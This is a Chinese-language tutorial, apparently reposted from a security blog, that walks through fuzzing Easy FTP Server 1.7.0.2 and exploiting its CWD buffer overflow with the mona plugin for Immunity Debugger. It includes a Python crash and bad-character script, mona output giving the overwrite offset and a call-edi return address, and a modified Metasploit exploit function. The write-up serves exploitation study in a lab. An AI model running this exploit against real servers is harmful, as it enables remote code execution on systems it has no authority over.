模糊测试漏洞挖掘

来源:互联网 发布:知乎离线 编辑:程序博客网 时间:2024/06/02 19:51

原文http://seckungfu.com/blog/2012/11/20/lou-dong-wa-jue-shou-ji-zhi-monajian-jie/

相关网站 http://www.twisc.nctu.edu.tw/

http://140.113.87.234:8000/lan

mona是著名的corelan team出品的immunity debugger插件,漏洞利用的利器,metasploit friendly。
笔者最近也在学习这个工具,但发现中文资料非常少,所以写篇文章简单介绍一下mona的强大之处,使用的例子是<<0day第二版>>中的一个例子,这个例子非常简单,高手自动飘过。
已知easy ftp server 1.7.0.2的CWD命令由于参数的长度判断错误导致典型的缓冲区溢出。我们使用Infigo FTPStress Fuzzer重现一下漏洞挖掘时的场景。工具地址:http://www.infigo.hr/en/in_focus/tools 
架设好easyftp服务之后,在Fuzzer工具中选中CWD命令进行测试,简单的配置之后,点击start按钮:

 
上图可以看到发送的fuzzing数据长度为330之后没有收到服务端的响应。 

wireshark抓包明显可见发送的CWD 330*‘A’后返回的是RST包,说明对方已经崩溃。
使用ollydbg附加服务进程,崩溃时的场景如下: 

典型的缓冲区溢出!看到这里如何写一个利用工具相信你已经轻车熟路了,最简单的办法是找一个指向溢出段数据区的寄存器,然后在加载的模块中搜索类似于call esp,jmp esp指令的地址,手动计算溢出后覆盖返回地址的偏移位置,然后寻找合适的shellcode,再写利用程序….但是等等,如果有坏字符怎么办,会导致溢出失败或者shellcode不起作用,你有什么简单的办法确定有哪些坏字符吗?如果目标系统开启了DEP和ASLR呢? 
这一切mona都能自动帮你完成!首先是确定坏字符:

在immunity debugger命令行窗口中输入:

!mona bytearray -b ‘\x00\x0a’

会生成0x01-0xff的二进制流,我们使用-b选项排除了0x00和0x0a,这是已知的坏字符,如果出现在cwd命令中会导致命令被截断,然后将数据流作为cwd命令的参数重新触发漏洞,python简单实现如下:

import socket,sysdef ftp_test(ip,port):    target=ip    port = port    bytearray="\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16..........\xfc\xfd\xfe\xff"    buffer=bytearray+"A"*(330-254)    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)    try:    connect=s.connect((target,port))    s.recv(1024)    s.send('USER anonymous\r\n')    s.recv(1024)    s.send('PASS anonymous\r\n')    s.recv(1024)    s.send('CWD '+buffer+'\r\n')    try:        s.recv(1024)        print "failed!"    except:        print "OK!"if __name__ == '__main__':ftp_test('192.168.72.1',21)
使用immunity debugger附加服务,触发漏洞后输入: >!mona compare -f d:\logs\ftpbasicsvr\bytearray.bin bytearray.bin就原来生成的二进制流,这个命令通过内存查找比较内存中的字串和原来生成的串有哪些不同来发现坏字符,输出如图: 新发现的坏字符有0x5c,0x2f。 下面使用!mona pc 330命令生成类似于 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac 5Ac>6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0 Af1Af2A>f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5A h6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 的字符串,使用这个串替换上面python脚本中的buffer再次触发漏洞,然后在immunity debugger中输入: >!mona suggest -cpb ‘\x00\x0a\x2f\x5c’ -cpb指定相关的坏字符,输出如下:
---------- Mona command started on 2012-08-27 18:22:19 (v1.3-dev, rev 167) ----------0BADF00D   [+] Processing arguments and criteria0BADF00D       - Pointer access level : X0BADF00D       - Bad char filter will be applied to pointers : '\x00\x0a'0BADF00D   [+] Looking for cyclic pattern in memory0BADF00D       Cyclic pattern (normal) found at 0x00a8fb64 (length 264 bytes)0BADF00D       Cyclic pattern (normal) found at 0x00a8fd58 (length 330 bytes)0BADF00D       -  Stack pivot between 220 & 550 bytes needed to land in this pattern0BADF00D       Cyclic pattern (normal) found at 0x009625d9 (length 331 bytes)0BADF00D       Cyclic pattern (normal) found at 0x00964592 (length 330 bytes)0BADF00D       Cyclic pattern (normal) found at 0x009646e8 (length 330 bytes)0BADF00D       Cyclic pattern (normal) found at 0x00964841 (length 331 bytes)0BADF00D   [+] Examining registers0BADF00D       EIP overwritten with normal pattern : 0x6a413969 (offset 268)0BADF00D       ESP (0x00a8fc7c) points at offset 280 in normal pattern (length 51)0BADF00D       EDI (0x009646e8) points at offset 0 in normal pattern (length 330)0BADF00D       ECX overwritten with normal pattern : 0x69413569 (offset 256)0BADF00D   [+] Examining SEH chain0BADF00D   [+] Examining stack (+- 100 bytes) - looking for cyclic pattern0BADF00D       Walking stack from 0x00a8fc18 to 0x00a8fce4 (0x000000cc bytes)0BADF00D       0x00a8fc18 : Contains normal cyclic pattern at ESP-0x64 (-100) : offset 180, length 84 (-> 0x00a8fc6b : ESP-0x10)0BADF00D       0x00a8fc70 : Contains normal cyclic pattern at ESP-0xc (-12) : offset 268, length 63 (-> 0x00a8fcae : ESP+0x33)0BADF00D   [+] Examining stack (+- 100 bytes) - looking for pointers to cyclic pattern0BADF00D       Walking stack from 0x00a8fc18 to 0x00a8fce4 (0x000000cc bytes)0BADF00D       0x00a8fcbc : Pointer into normal cyclic pattern at ESP+0x40 (+64) : 0x0096487c : offset 59, length 2720BADF00D       0x00a8fcd0 : Pointer into normal cyclic pattern at ESP+0x54 (+84) : 0x00964841 : offset 0, length 3310BADF00D   [+] Preparing log file 'findmsp.txt'0BADF00D       - (Re)setting logfile d:\logs\ftpbasicsvr\findmsp.txt0BADF00D   [+] Generating module info table, hang on...0BADF00D       - Processing modules0BADF00D       - Done. Let's rock 'n roll.0BADF00D   [+] Preparing log file 'exploit.rb'0BADF00D       - (Re)setting logfile d:\logs\ftpbasicsvr\exploit.rb0BADF00D0BADF00D   [+] Preparing payload...0BADF00D0BADF00D    ** Please select a skeleton exploit type from the dropdown list **0BADF00D   [+] Attempting to create payload for saved return pointer overwrite...0BADF00D   Metasploit 'Targets' section :0BADF00D   ------------------------------                       'Targets'        =>                           [                               [ '',                                   {                                       'Ret'       =>    0x62c22ba1,                                       'Offset'    =>    268                                   }                               ], # call edi - LPK.DLL                           ],0BADF00D0BADF00D   Metasploit 'exploit' function :0BADF00D   --------------------------------               def exploit                   connect                   buffer = payload.encoded    #max 268 bytes                   buffer << rand_text(target['Offset'] - payload.encoded.length)                   buffer << [target.ret].pack('V')                   print_status("Trying target #{target.name}...")                   sock.put(buffer)                   handler                   disconnect               end           [+] This mona.py action took 0:00:55.062000
中间会弹出提示框提示你需要配置的metasploit模块类型,我们选择network. 事实上上面的输出已经非常详细了,其亮点在于输出了一个metasploit的利用模块脚本,自动分析并填上了覆盖的返回地址的偏移,自动分析出edi寄存器指向输入数据的起始位置,然后在加载的LPK.DLL模块中找到了call edi指令的位置0x62c22ba1,贴心地为你提供了exploit函数. 值得注意的是,在查找call edi指令的过程自动地对提供的四个坏字符进行了检测,由于加载的模块大部分的起始地起址是0x00,而0x00正好是坏字符,最后只在系统模块lpk.dll中找到了合适的地址。另外,它会自动判断系统模块是否启用了ASLR,只在未启动ASLR的模块中进行搜索,它还会判断溢出的目标是否启用了DEP,如果启用了DEP,会自动为你生成可用的ROP链。 由于我们使用的是FTP协议,所以简单地对exploit函数进行修改如下
def exploit             connect              sock.recv(1024)              sock.put("USER anonymous\r\n")           sock.recv(1024)           sock.put("PASS anonymous\r\n")           sock.recv(1024)           buffer = "CWD "+payload.encoded     #max 268 bytes              buffer << 'A'*(target['Offset'] - payload.encoded.length)              buffer << [target.ret].pack('V')           buffer << "\r\n"                 print_status("Trying target #{target.name}...")           sock.put(buffer)            handler           disconnect       end
我们将模块添加到metaploit中,使用show payloads命令会列出符合坏字符条件的可用payload,这里使用简单的windows/exec payload执行calc.exe,效果如图:至此先通过挖掘漏洞到使用mona进行漏洞利用的过程就结束了,mona的功能可不止这些,感兴趣的朋友可以查看[mona的使用手册](https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/)